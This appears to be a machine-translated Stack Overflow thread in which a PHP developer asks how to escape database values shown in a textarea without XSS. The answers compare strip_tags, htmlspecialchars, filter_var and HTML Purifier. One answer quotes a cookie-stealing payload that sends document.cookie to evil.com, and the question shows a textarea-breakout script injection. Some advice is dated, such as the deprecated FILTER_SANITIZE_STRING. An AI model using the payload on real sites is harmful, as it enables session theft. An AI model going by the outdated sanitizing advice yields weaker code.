从XSS消毒输出到Textarea

时间:2012-04-22 17:42:05

标签: php css textarea xss sanitize

如果要在textareas等输入中使用数据库(在php中)清理值的最佳方法是什么?

例如,在插入数据时,我可以删除标签和引号,并用html字符代码替换它们,然后在插入之前使用mysql_real_escape_string。

当检索到该数据时,我需要它在textarea中显示。我怎么能这样做,仍然避免使用XSS? (例如,您可以轻松输入

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

)并导致问题。

谢谢!

3 个答案:

答案 0 :(得分:5)

如果您想使用纯粹的简单php解决方案,我想我更喜欢filter_varurl_decode的组合

原因

想象一下像这样的推特

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

如果我使用strip_tags

var_dump(strip_tags($maliciousCode));

输出

string 'document.write("' (length=16)

如果我使用htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

输出

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

我的选择

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

输出

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

如果表单使用的是GET而不是POST,则有些人可以直接转义,如果它是网址编码的,您可以获得最少的信息并确保最终文本无害

这也足够在线帮助你过滤看

答案 1 :(得分:2)

HTMLpurifier是清除不需要的HTML的绝佳工具,尤其是不需要的JavaScript。建议使用htmlspecialchars()输出用户提供的内容。

答案 2 :(得分:0)

在我的联系表单上找到一个肮脏的垃圾邮件发送者后,我扩展了我的功能,清理文本框用户输入。它现在还涵盖了多行textarea输入

我需要格式化正常显示以及来自我的联系页面的html电子邮件。 它还为我也使用的纯文本电子邮件格式化提供了选项。

function clean_text($text, $html = true)
{ if($text == ""){return "";}
  $text = nl2br($text,false); // false gives <br>, true gives <br />
  $textary = explode("<br>",$text);
  foreach($textary as $key => $val)
  { $val = trim($val);
    $val = stripslashes($val);
    $val = htmlspecialchars($val);
    $textary[$key] = $val;
  }
  if ($html)
  { return implode("<br />",$textary);} //return implode("<br>",$textary);
  else
  { return implode("\r\n",$textary);}
}   

顺便说一下......感谢SO成员加入我的学习PHP。

http://www.microcal.ca/scripts/cleantext.php

的示例